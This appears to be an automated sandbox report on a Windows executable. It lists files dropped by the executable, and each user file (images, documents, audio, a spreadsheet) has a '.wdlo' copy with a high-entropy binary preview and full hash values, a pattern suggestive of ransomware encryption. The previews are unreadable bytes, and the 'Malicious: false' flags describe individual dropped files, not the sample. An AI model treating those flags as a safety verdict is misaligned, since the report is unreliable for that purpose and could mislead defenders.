Preview:	BJZFP.l.........w.o.B.%..9.u...._=..p.r1.X"..#9..a"........}..tL'$....f.F.R...2D......K...c.....%..KB=&a.^....c.9.."...7..g.T3......b...?.7.E.L8...voX.....$X..3..!.....#.C..l....(l..eVg<...H..W..B..%0<. ..fz&0...B.W.`..J.c;d,..C.(.v.......i.3.O.r.g(.....:.......`.....l..\|..f.R......^.N...M .~C.`...t..:v....{e......U:\|.TD..y4nY..&.c$.........D!.[....q.p..HU.O-#.{../h............A...P\|.M..L..j........5B.M.%.W.........h.\@]..kF.N..\.w\|V...<.[W.....q......`5...}..B.......H.....Q\.......?...y:....d....5hi.....Y......n.Rk....O....C.....%..}....j6W..v..r..Q...d.EM...&.S.^..;.=M._.m...AWS..jD`u..[.<U.`.wJ.X.PH5.Q_O) ..].(....#.33.;.... u...Z...xQ...c.mi..&5jM.....*.....u./.k....n.c...G A.a...=RF...9);.....5!}..=\.\|........X.......]1_..0....".k.@..^\ ...Vi[.Br...=..`..e$.4....9.T.<.Bs.....{.$.T.....#U..........OH.S...f.X/.&\..../W......_.....S..M.....u..p~Bb...$.O7p/.....0....{.,..m...ML.....j.;.....}......4S.Y.V...ua.....P,.J.......i..t7..1UX..

C:\Users\user\Desktop\BJZFPPWAPT.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852790360650859
Encrypted:	false
SSDEEP:	24:uwJ/B6P66ICxQoDCk5+xcvIHXpdvUUu6pMmci/vcDtyYhTrusS3zbD:/5h6IC/zgFvUCdcOI3hTrul3nD
MD5:	124D9A4B8C6817CCFB676590A61E65BA
SHA1:	65A9F0B6E30DDF0C777636EB92DBCBE1FB959536
SHA-256:	08E60D162B327BA3D753AA7CD447273FE8A3C324F36276822A16F31FA63A8D20
SHA-512:	81595F1680660CA4F9F76BAA3A509D83C4DDAA0281710D24E8687453A9D7558626949BA7AC2F23F3E8A8622E61517A1DC6B523230CE23496569633D7A8CA1B9A
Malicious:	false
Preview:	BJZFP...&.C....Vp..E.t%.....Z-.d=..Ek.:..@.Z.Z.2.=..W.=G#L.y.k....+...w.....^..N.Ve.e.....^...i...nE{.5.[#s..X...c.H...qF..'8...[I........W...7l.....w...O...@3..<Pt...`i....ti.(....s^...s~....;&,S..Q\|A...[.@....J.3n........;.o<?zTB..w^Z.....($"TBmvn....k...2&!6.,..K..5..pv(..=.s+..@.(....{....udU....P)..s.;.V8$.G.'....3..2[F.P...TM......O.m...+(..$.FUq.(...,...._.....K.......k..\.K..(s.)M.....x...Z.5....x..W!.......,..v5.Z.}...;~).+ ...A..!e...Pc.".w.\1...].^....+.......@\|.4..............._.50..v.}.t.pk.v....G....M?e2<.....2?.#.R....o'..p..#.......`...s.e.:..~....n.yg6.PU.a.Z'.../]..K.............c\.Q..;......g6.n......&l$..-6.\|;,z..xppA`k.....PN..dE.Gn:.w..l.-...e....Fa".".c..._.07..-6..]S..G......#....F.w&/..#...^Z....g.;n.\|......Z &.`S.9...VT.U..6E..j...dXN'.R.].V&.Ir<...uJ...[.p.i.>..../.t..g..8.kWC`..<`5.L...I\|DV...g..).........W......&.o...^.O7hi...:e..gC....WJ)..TNg.,.*.\|....&OJz.E.K"...jC$M..[5..3.>.;m.,.N.fG...OY.Y.i.7.9

C:\Users\user\Desktop\BJZFPPWAPT.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852790360650859
Encrypted:	false
SSDEEP:	24:uwJ/B6P66ICxQoDCk5+xcvIHXpdvUUu6pMmci/vcDtyYhTrusS3zbD:/5h6IC/zgFvUCdcOI3hTrul3nD
MD5:	124D9A4B8C6817CCFB676590A61E65BA
SHA1:	65A9F0B6E30DDF0C777636EB92DBCBE1FB959536
SHA-256:	08E60D162B327BA3D753AA7CD447273FE8A3C324F36276822A16F31FA63A8D20
SHA-512:	81595F1680660CA4F9F76BAA3A509D83C4DDAA0281710D24E8687453A9D7558626949BA7AC2F23F3E8A8622E61517A1DC6B523230CE23496569633D7A8CA1B9A
Malicious:	false
Preview:	BJZFP...&.C....Vp..E.t%.....Z-.d=..Ek.:..@.Z.Z.2.=..W.=G#L.y.k....+...w.....^..N.Ve.e.....^...i...nE{.5.[#s..X...c.H...qF..'8...[I........W...7l.....w...O...@3..<Pt...`i....ti.(....s^...s~....;&,S..Q\|A...[.@....J.3n........;.o<?zTB..w^Z.....($"TBmvn....k...2&!6.,..K..5..pv(..=.s+..@.(....{....udU....P)..s.;.V8$.G.'....3..2[F.P...TM......O.m...+(..$.FUq.(...,...._.....K.......k..\.K..(s.)M.....x...Z.5....x..W!.......,..v5.Z.}...;~).+ ...A..!e...Pc.".w.\1...].^....+.......@\|.4..............._.50..v.}.t.pk.v....G....M?e2<.....2?.#.R....o'..p..#.......`...s.e.:..~....n.yg6.PU.a.Z'.../]..K.............c\.Q..;......g6.n......&l$..-6.\|;,z..xppA`k.....PN..dE.Gn:.w..l.-...e....Fa".".c..._.07..-6..]S..G......#....F.w&/..#...^Z....g.;n.\|......Z &.`S.9...VT.U..6E..j...dXN'.R.].V&.Ir<...uJ...[.p.i.>..../.t..g..8.kWC`..<`5.L...I\|DV...g..).........W......&.o...^.O7hi...:e..gC....WJ)..TNg.,.*.\|....&OJz.E.K"...jC$M..[5..3.>.;m.,.N.fG...OY.Y.i.7.9

C:\Users\user\Desktop\BJZFPPWAPT\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84020385806359
Encrypted:	false
SSDEEP:	24:OgixHvSVyo66DmWsVJkN00tWW6U4iVIItYhD3/colRKpZtx2IGEQt3zbD:OgilqIo6PWsf60IdIuYZv76vf4EQt3nD
MD5:	B8A3EB04A571CEA1430C56646C8351D4
SHA1:	49F8BE7CB56E4690ADC803A3B50AE07E849C09B0
SHA-256:	888D1433FBEA48679A0630C9412C6C7976BD4F3ACD5AE71F18CA71269FE0D413
SHA-512:	742FE1CEFF4820E5EDF35C43EDE29A8D1444CB6A44686F1F77859CA4C742F744082AE18C2BF1279B795DAB84E9D9FE9E8BDD9800F0C5C35C95C8A8133B9F8C75
Malicious:	false
Preview:	BJZFP...V8(.Uu.`Df.A{@..9.......R..o@..F...j.1.i....:w._.T.n..S...]N.%wv....WX.lA.-I4F.+g..m.p.aH....KB..}l.d....8......Dk&D...`.Z(/$..<....h1..~..1:.B..f.rg....H...c{...fqG3...F.P..2.m.lNx.-U.x.5}2=-f...X....v......-..I>.......=..".cg....Z....F.RJ.a.w......<b.....Z.....$d.'.h...@z...R...\|.s..\|..B.o... .>.!..4.h..(Z.J..k..L..._.2#+...Q.....]y...W#.l....P....2....S..h...X..]CT..)]....?.;..3..pK..d[.B5.....;....V.Sf.U....9....j(s...\.e....1..+.X.$..J4....u.c...{.hZ..c......k...<.tB...=%...{.A?c..Q5/....P.\.Hl.x.Ff\|On.{f....`...&n.+.x%...;..x...#QFe...#9....D..G..LH.x..!.].K.e2.........]h.b....cVf`gr9e..$.\}WJ.'.FQZ......".......}.~..X.b.....~..,.....V.....M$........]....<..l.2.nQ.>.g.-.Wj&.. ..A~......@.5..a..........5~..n..T...(Do{...[H.......D.......GF......j.,.......,..7...Z.g..*<.V4..H...l./..zA.i:....Toz!.9.....jK.B..5.".q...D.&E>..aO.....'Y.2:.....n..).>..oe........V.).._`....+m....../a`...g..=3.4..A...]...........S.j..q..n.

C:\Users\user\Desktop\BJZFPPWAPT\BJZFPPWAPT.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84020385806359
Encrypted:	false
SSDEEP:	24:OgixHvSVyo66DmWsVJkN00tWW6U4iVIItYhD3/colRKpZtx2IGEQt3zbD:OgilqIo6PWsf60IdIuYZv76vf4EQt3nD
MD5:	B8A3EB04A571CEA1430C56646C8351D4
SHA1:	49F8BE7CB56E4690ADC803A3B50AE07E849C09B0
SHA-256:	888D1433FBEA48679A0630C9412C6C7976BD4F3ACD5AE71F18CA71269FE0D413
SHA-512:	742FE1CEFF4820E5EDF35C43EDE29A8D1444CB6A44686F1F77859CA4C742F744082AE18C2BF1279B795DAB84E9D9FE9E8BDD9800F0C5C35C95C8A8133B9F8C75
Malicious:	false
Preview:	BJZFP...V8(.Uu.`Df.A{@..9.......R..o@..F...j.1.i....:w._.T.n..S...]N.%wv....WX.lA.-I4F.+g..m.p.aH....KB..}l.d....8......Dk&D...`.Z(/$..<....h1..~..1:.B..f.rg....H...c{...fqG3...F.P..2.m.lNx.-U.x.5}2=-f...X....v......-..I>.......=..".cg....Z....F.RJ.a.w......<b.....Z.....$d.'.h...@z...R...\|.s..\|..B.o... .>.!..4.h..(Z.J..k..L..._.2#+...Q.....]y...W#.l....P....2....S..h...X..]CT..)]....?.;..3..pK..d[.B5.....;....V.Sf.U....9....j(s...\.e....1..+.X.$..J4....u.c...{.hZ..c......k...<.tB...=%...{.A?c..Q5/....P.\.Hl.x.Ff\|On.{f....`...&n.+.x%...;..x...#QFe...#9....D..G..LH.x..!.].K.e2.........]h.b....cVf`gr9e..$.\}WJ.'.FQZ......".......}.~..X.b.....~..,.....V.....M$........]....<..l.2.nQ.>.g.-.Wj&.. ..A~......@.5..a..........5~..n..T...(Do{...[H.......D.......GF......j.,.......,..7...Z.g..*<.V4..H...l./..zA.i:....Toz!.9.....jK.B..5.".q...D.&E>..aO.....'Y.2:.....n..).>..oe........V.).._`....+m....../a`...g..=3.4..A...]...........S.j..q..n.

C:\Users\user\Desktop\BJZFPPWAPT\GLTYDMDUST.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843080818007054
Encrypted:	false
SSDEEP:	24:34uNyGC1vWsrX1Rvs2iLaj9kiPrKKBY9KRcTnfrWWiSYCAe71Wpzan3zbD:34bGC1OUlRvs2UajCiPbxofrPiSYCHMo
MD5:	E9C7C53AD7C76FAC2DB3C8515611CD42
SHA1:	56F979F672F314A5B5853FA17B76B59EA8717543
SHA-256:	8991FCA2A262DB38C125BFC5E9ECF66FBFDE219E5C7FEF758724173CEAAE6DFE
SHA-512:	47401E3114A6D364FA2163764EF4D1C4FB295A0ECDCF3E8BDC903D6A4010913AB6FDC368C8DEE0D99AA6AD954C37F55E214E0A0DF98AC8E9915094C9088424EC
Malicious:	false
Preview:	GLTYDsu...6j.....w5....#oJ!J.....8.@hb.\...z...M..<3.6.)..]hW...._.H-.C<d...Z]8.B..&.=I..#.f7 ......fZ..$.R>p...]..8PM..A..h..n...}.Xo]..{.=.e..z.\.R.[.7..gn.....$...p..3.5.._.......@.......2.$rzVA..C.O.\|k.X. ..W.>\bu..g.f..^\..N>..@..\PQ..$K.W.Z...E\M$.\|F.y_P.u.4...w..._..(...ZKx"6..Ep.j.Z......W..'m..\|\|8.U....Y....w....<&.\m.4..>...mT.\.._{..x..5.,.X...PI.....W3..g+oLc..........'p.^i.`Tw.b....7g..nq.{.......8...-..5QX.....E..c..8.'..T.4..-k.C..O..B...h....j....}. '.;(...:)'.ST....bl..........r..s.........Z.:I....<.W........3/...-......N..\....W..Y. 4.;.G..\|4..zi.\|.I........Q'...........Z..Eg'.r.S0.m.J...#.<2..^.1=#.,..f........[...9.R\.b...o.9...'....o.]T...%.,....M....... .V^t.~.u.t....7....d....[..k..%7r...Z....T..0......fd4(.1v...m..P.`...I.k.?3......N..&....W.T`;...x9...E.t5.......s~..?yS...@...a...?.....oy...d1.....=c[X`.....G..X4.2...I.8....].D..:\|.l......[7b...y.csb .@...2..q...S.7..W]z.B.. .ux.su...1*^...P.C.".."..i......

C:\Users\user\Desktop\BJZFPPWAPT\GLTYDMDUST.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843080818007054
Encrypted:	false
SSDEEP:	24:34uNyGC1vWsrX1Rvs2iLaj9kiPrKKBY9KRcTnfrWWiSYCAe71Wpzan3zbD:34bGC1OUlRvs2UajCiPbxofrPiSYCHMo
MD5:	E9C7C53AD7C76FAC2DB3C8515611CD42
SHA1:	56F979F672F314A5B5853FA17B76B59EA8717543
SHA-256:	8991FCA2A262DB38C125BFC5E9ECF66FBFDE219E5C7FEF758724173CEAAE6DFE
SHA-512:	47401E3114A6D364FA2163764EF4D1C4FB295A0ECDCF3E8BDC903D6A4010913AB6FDC368C8DEE0D99AA6AD954C37F55E214E0A0DF98AC8E9915094C9088424EC
Malicious:	false
Preview:	GLTYDsu...6j.....w5....#oJ!J.....8.@hb.\...z...M..<3.6.)..]hW...._.H-.C<d...Z]8.B..&.=I..#.f7 ......fZ..$.R>p...]..8PM..A..h..n...}.Xo]..{.=.e..z.\.R.[.7..gn.....$...p..3.5.._.......@.......2.$rzVA..C.O.\|k.X. ..W.>\bu..g.f..^\..N>..@..\PQ..$K.W.Z...E\M$.\|F.y_P.u.4...w..._..(...ZKx"6..Ep.j.Z......W..'m..\|\|8.U....Y....w....<&.\m.4..>...mT.\.._{..x..5.,.X...PI.....W3..g+oLc..........'p.^i.`Tw.b....7g..nq.{.......8...-..5QX.....E..c..8.'..T.4..-k.C..O..B...h....j....}. '.;(...:)'.ST....bl..........r..s.........Z.:I....<.W........3/...-......N..\....W..Y. 4.;.G..\|4..zi.\|.I........Q'...........Z..Eg'.r.S0.m.J...#.<2..^.1=#.,..f........[...9.R\.b...o.9...'....o.]T...%.,....M....... .V^t.~.u.t....7....d....[..k..%7r...Z....T..0......fd4(.1v...m..P.`...I.k.?3......N..&....W.T`;...x9...E.t5.......s~..?yS...@...a...?.....oy...d1.....=c[X`.....G..X4.2...I.8....].D..:\|.l......[7b...y.csb .@...2..q...S.7..W]z.B.. .ux.su...1*^...P.C.".."..i......

C:\Users\user\Desktop\BJZFPPWAPT\HMPPSXQPQV.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843615000068168
Encrypted:	false
SSDEEP:	24:FLg3Y+4RGqRcNFQTW5tvhtq5seKdRpjrGPeXR4ADYtwUay6zfneHnpEYgNl03zbD:FQH8GNyTW5rc5gdRpPeeXHlUaleHnp7B
MD5:	FD9DA7A365CF00A94974C551BA77CD2A
SHA1:	84CC032ED0CCC3A536B05A7B5524F2488BA54584
SHA-256:	66C307D3FD4197CAA5B965BCEBA26D4D4A3C09CA8A5899930AB51043129379B3
SHA-512:	FD6DF959861ADEB16B95CE36262EBFF4521C678C3EEBBD84D404F8D2A338ED608C05C22FFF01843D6FBA8BC837BE3F81D6A0E81772651872FBB3320FF1C50906
Malicious:	false
Preview:	HMPPSV........{.>..h.e...7RA-..K.64.t.q...@....$..X......]r c...N._{..{..Fa..G.@..{.\jU.".W.t....".g.(....e....\|E_..t.+(..V.c5...R.7...Up"..-.(.f...`~+.......pB.C CA.%......M......2OA.M.c..=VGk.-..V..b...e..@;.aj+.z.%...\|.Dr..H........W.}."t.9aI...e.. l.g...D~`.[.e.L..H...d.9al...@oq...l.x.4.{5...`f.2..Kcl.....S=..jV.`e.x...A..p@...yP.-...y/E.Yx5..k.!r.9...J>.P..7y=....Q.........k....kLs..V..E................r%-.........y.$..3...tR....98....5f'.,..l..k1'u&E..#.~!W:..........?..1..`....H._.......W.C]E..x..1....p."M...Tat...yCJ..m.\|K.+W...!U.U`...T.y.g...DT...{....eXA.s.....qZ..../..E$G.v...%uE.d........=.pm. ]...I.}A.....UHJh...j.>.78..Re.....v.E.../"..u..\|..8l...h.Y.......pw.Ll........&2..9~.GK".V.............4\h...WndTBlv..b..>.+..U..:l;.E.....x...5p}M>;..N2...t.G.K..,...;.`\. ...F..z.6.M..g..........V."...GR\..=.....N.K..i.@7......v...HFZ..R..g.o]..a...3..#F._...#.r....V.......9..2.xA.W.*...2....\|..E.%.'/..j"...d..J...

C:\Users\user\Desktop\BJZFPPWAPT\HMPPSXQPQV.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843615000068168
Encrypted:	false
SSDEEP:	24:FLg3Y+4RGqRcNFQTW5tvhtq5seKdRpjrGPeXR4ADYtwUay6zfneHnpEYgNl03zbD:FQH8GNyTW5rc5gdRpPeeXHlUaleHnp7B
MD5:	FD9DA7A365CF00A94974C551BA77CD2A
SHA1:	84CC032ED0CCC3A536B05A7B5524F2488BA54584
SHA-256:	66C307D3FD4197CAA5B965BCEBA26D4D4A3C09CA8A5899930AB51043129379B3
SHA-512:	FD6DF959861ADEB16B95CE36262EBFF4521C678C3EEBBD84D404F8D2A338ED608C05C22FFF01843D6FBA8BC837BE3F81D6A0E81772651872FBB3320FF1C50906
Malicious:	false
Preview:	HMPPSV........{.>..h.e...7RA-..K.64.t.q...@....$..X......]r c...N._{..{..Fa..G.@..{.\jU.".W.t....".g.(....e....\|E_..t.+(..V.c5...R.7...Up"..-.(.f...`~+.......pB.C CA.%......M......2OA.M.c..=VGk.-..V..b...e..@;.aj+.z.%...\|.Dr..H........W.}."t.9aI...e.. l.g...D~`.[.e.L..H...d.9al...@oq...l.x.4.{5...`f.2..Kcl.....S=..jV.`e.x...A..p@...yP.-...y/E.Yx5..k.!r.9...J>.P..7y=....Q.........k....kLs..V..E................r%-.........y.$..3...tR....98....5f'.,..l..k1'u&E..#.~!W:..........?..1..`....H._.......W.C]E..x..1....p."M...Tat...yCJ..m.\|K.+W...!U.U`...T.y.g...DT...{....eXA.s.....qZ..../..E$G.v...%uE.d........=.pm. ]...I.}A.....UHJh...j.>.78..Re.....v.E.../"..u..\|..8l...h.Y.......pw.Ll........&2..9~.GK".V.............4\h...WndTBlv..b..>.+..U..:l;.E.....x...5p}M>;..N2...t.G.K..,...;.`\. ...F..z.6.M..g..........V."...GR\..=.....N.K..i.@7......v...HFZ..R..g.o]..a...3..#F._...#.r....V.......9..2.xA.W.*...2....\|..E.%.'/..j"...d..J...

C:\Users\user\Desktop\BJZFPPWAPT\KLIZUSIQEN.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.809207027921153
Encrypted:	false
SSDEEP:	24:brPE1Y/M/rBUHh7n7sq4qtJpn1O90A0jaCvslZAzWqNYLovA6vHOP2v38k5FPw3D:1/M/rB4Ro+DpnI0A8aCvsbAzWqK8IXsy
MD5:	517A15BC5374AEF1EF585B53F7944BB4
SHA1:	089A29CAF1C74D9592AE831E693413730BC3C0F8
SHA-256:	40BCEA4EDF6577771E068BEA7A468BE613F385888FBCB399D6A6C06CCD633D9D
SHA-512:	E4331444F9630C41FDC155D5A2DBECBCA6E9BD08C12D540382E91888BDAAB2EF8208E1EE0B94AF35A58979EC22E9154E75C513D4FB98C8F296A6F8E4484E6EF3
Malicious:	false
Preview:	KLIZU..m..rG..n+B.(..H..:.......3.DC..R.J0...Y..{RZ..\|.Ah....O]B.Y.T+..7r......."a..Fw.O.z...@.WO.y9..F....>...#.s..j.G...../5 J}R.m>......5Bd@...\|..m...V....+...$......Pk]....C...c..J....B...k.M....r....Tu\H...BE.......0...Z+Z.s.....W..m.T...M+..y$.6T..H..?eh...... .M..R..R.......9.S.e.}.G....'1...V.......1.!.x.l...H{...Z..h.>j.......~......"....C.+A.lNM...:..w.....'1,.(....Z.\|(.\|...C0[....>{.h..\|.,.........N...i..(.n.......J.y...Or.j.$.CVe.t..w..3!.. .'...@.(2....r4....gR0. .m........:&...P......7U<F..v. '5.\..h..F(NF.H..(.u.U..\|ir...[=R....kPn.O..>oN..$.}.`.."L..c/..k.5/.4.#...XR.1.I..L.VHXAG....[...C.$..s..%.......R..fJ9Rz.G\|}.`.f_sR....9.....G...r.1......+...MS7_?...G...Y=6e..@F.1r..ta.....@.i...m;..(..>.~.....8.} <y.....Q..WZw.Ei........iQ.9.\|N.3..a...=W...7t.S...`.^B.J.ZFd.Q&......D..;..K.<}k.iE...DsQ..L.V.viDz.:.Y.k.S.....0......+f.i..kf ..].N.,....>uCW.&..r.,..f*......T.x.....gqK.8...l4......&8.c`.Y..V.....U...T...~\|.t.i..N...r.G

C:\Users\user\Desktop\BJZFPPWAPT\KLIZUSIQEN.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.809207027921153
Encrypted:	false
SSDEEP:	24:brPE1Y/M/rBUHh7n7sq4qtJpn1O90A0jaCvslZAzWqNYLovA6vHOP2v38k5FPw3D:1/M/rB4Ro+DpnI0A8aCvsbAzWqK8IXsy
MD5:	517A15BC5374AEF1EF585B53F7944BB4
SHA1:	089A29CAF1C74D9592AE831E693413730BC3C0F8
SHA-256:	40BCEA4EDF6577771E068BEA7A468BE613F385888FBCB399D6A6C06CCD633D9D
SHA-512:	E4331444F9630C41FDC155D5A2DBECBCA6E9BD08C12D540382E91888BDAAB2EF8208E1EE0B94AF35A58979EC22E9154E75C513D4FB98C8F296A6F8E4484E6EF3
Malicious:	false
Preview:	KLIZU..m..rG..n+B.(..H..:.......3.DC..R.J0...Y..{RZ..\|.Ah....O]B.Y.T+..7r......."a..Fw.O.z...@.WO.y9..F....>...#.s..j.G...../5 J}R.m>......5Bd@...\|..m...V....+...$......Pk]....C...c..J....B...k.M....r....Tu\H...BE.......0...Z+Z.s.....W..m.T...M+..y$.6T..H..?eh...... .M..R..R.......9.S.e.}.G....'1...V.......1.!.x.l...H{...Z..h.>j.......~......"....C.+A.lNM...:..w.....'1,.(....Z.\|(.\|...C0[....>{.h..\|.,.........N...i..(.n.......J.y...Or.j.$.CVe.t..w..3!.. .'...@.(2....r4....gR0. .m........:&...P......7U<F..v. '5.\..h..F(NF.H..(.u.U..\|ir...[=R....kPn.O..>oN..$.}.`.."L..c/..k.5/.4.#...XR.1.I..L.VHXAG....[...C.$..s..%.......R..fJ9Rz.G\|}.`.f_sR....9.....G...r.1......+...MS7_?...G...Y=6e..@F.1r..ta.....@.i...m;..(..>.~.....8.} <y.....Q..WZw.Ei........iQ.9.\|N.3..a...=W...7t.S...`.^B.J.ZFd.Q&......D..;..K.<}k.iE...DsQ..L.V.viDz.:.Y.k.S.....0......+f.i..kf ..].N.,....>uCW.&..r.,..f*......T.x.....gqK.8...l4......&8.c`.Y..V.....U...T...~\|.t.i..N...r.G

C:\Users\user\Desktop\BJZFPPWAPT\NYMMPCEIMA.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838887830537899
Encrypted:	false
SSDEEP:	24:tKA6Way7xXaunnqDq7PqLIjVWKtass2OduAWY6Rpb3zbD:t56xy7xXa62bIwKtGpdt6Rpb3nD
MD5:	AE08036ED8998DEA0D5123141700CAB4
SHA1:	566B07B5F632E602B3703597F9C5D5D7A88D99E0
SHA-256:	739147C860113D0922F08F63DA166C22EAAF6721105BE1C9775EB61C0A23C562
SHA-512:	E0EEF0066BE60E1BDF5FD266E59A4A1BC07F37672044DA4CDE193544A5441C048AFF55D0845FE66C540FB9D5303947F9323F3281EB5B1B6C06053C7E06559BBD
Malicious:	false
Preview:	NYMMP.]..; ..8.T...U.'W6l...3O{..<......m..<W.QG..Q6.6G..?..2....x..._......./..}.r.+..!.l.h.0..*WPBj.....M.b.r.1#P.e.U..F&.,.....:bm...`.k7..r...'....1..4............J:,..~..Y.....:+f..W...8....c8}H.R)..W....Lv}.1.}.....}.0H.HJ.....f....T...\|A.%..(.4.J.l.....Ekn+.l............q]_..y;...Z.O.......Y+...........E......:P.....<.....Z.[.9...8.\|.....U.l..l..HB{u.Nm.1...-?.u=>..0..V...1.o...;.Q.A..&%XZ...2..P..C..S;.Tf..S...]`.....;.....g.".AL....}...r..N..D./6......R...Ve....=6.v_o..M-}..~0.Q....M.h.2w..~......T b.Sqn..C.....Q.u.....).-./o0..:.-..I...i..r5.k-.P.y}..@.ff...7..ME..c..,.w..=.xz..DqT`.A.1.pT5.\|....=......x....~D.E2Y3X4.8t.....S.fl.>\|...\|..qA.'.....!....H.._L>F>..X;T....~.9.G..H.j..V;.K...E.!9C).=x.U......a....PmlA......:_LVtp..).%9.H..l.. ....e......ex...SHrYT:\|.f.7.'&9w...H...3..-.h.\|v....4..Y.....U...1....0..b...~a...$(..F./..)...P....l.=...f...AS....#.!.".3..C../.t.......6a.pyD.....L..q.....;.ZG..CM1.Bgl.+r.,yr...-...

C:\Users\user\Desktop\BJZFPPWAPT\NYMMPCEIMA.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838887830537899
Encrypted:	false
SSDEEP:	24:tKA6Way7xXaunnqDq7PqLIjVWKtass2OduAWY6Rpb3zbD:t56xy7xXa62bIwKtGpdt6Rpb3nD
MD5:	AE08036ED8998DEA0D5123141700CAB4
SHA1:	566B07B5F632E602B3703597F9C5D5D7A88D99E0
SHA-256:	739147C860113D0922F08F63DA166C22EAAF6721105BE1C9775EB61C0A23C562
SHA-512:	E0EEF0066BE60E1BDF5FD266E59A4A1BC07F37672044DA4CDE193544A5441C048AFF55D0845FE66C540FB9D5303947F9323F3281EB5B1B6C06053C7E06559BBD
Malicious:	false
Preview:	NYMMP.]..; ..8.T...U.'W6l...3O{..<......m..<W.QG..Q6.6G..?..2....x..._......./..}.r.+..!.l.h.0..*WPBj.....M.b.r.1#P.e.U..F&.,.....:bm...`.k7..r...'....1..4............J:,..~..Y.....:+f..W...8....c8}H.R)..W....Lv}.1.}.....}.0H.HJ.....f....T...\|A.%..(.4.J.l.....Ekn+.l............q]_..y;...Z.O.......Y+...........E......:P.....<.....Z.[.9...8.\|.....U.l..l..HB{u.Nm.1...-?.u=>..0..V...1.o...;.Q.A..&%XZ...2..P..C..S;.Tf..S...]`.....;.....g.".AL....}...r..N..D./6......R...Ve....=6.v_o..M-}..~0.Q....M.h.2w..~......T b.Sqn..C.....Q.u.....).-./o0..:.-..I...i..r5.k-.P.y}..@.ff...7..ME..c..,.w..=.xz..DqT`.A.1.pT5.\|....=......x....~D.E2Y3X4.8t.....S.fl.>\|...\|..qA.'.....!....H.._L>F>..X;T....~.9.G..H.j..V;.K...E.!9C).=x.U......a....PmlA......:_LVtp..).%9.H..l.. ....e......ex...SHrYT:\|.f.7.'&9w...H...3..-.h.\|v....4..Y.....U...1....0..b...~a...$(..F./..)...P....l.=...f...AS....#.!.".3..C../.t.......6a.pyD.....L..q.....;.ZG..CM1.Bgl.+r.,yr...-...

C:\Users\user\Desktop\BJZFPPWAPT\ZGGKNSUKOP.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842257746837957
Encrypted:	false
SSDEEP:	24:tuu+S7lCrBA6IduuAZesLlQoxQ7V4KbadS20C7OL+sXPJDES0h73zbD:tXegmeKrkVnbYJfOL+sf7c73nD
MD5:	6FD803F1425D99259368C79BBAA8E118
SHA1:	9E52737E6DB93D4B567AC72E4514664566488676
SHA-256:	10DB4F84152AB9ED43BB66CC49E1284BCEF789FA8BDA7928B46D7122274B9CDF
SHA-512:	FBEB6187A48B3E0C96D4B9F0358D0BBAA026DF0E8D1824736E3C28086B8797E0494B8C2B27CFE3C51FD493B13AE085815FB433D4E7ACAC609D28BA12C64E2352
Malicious:	false
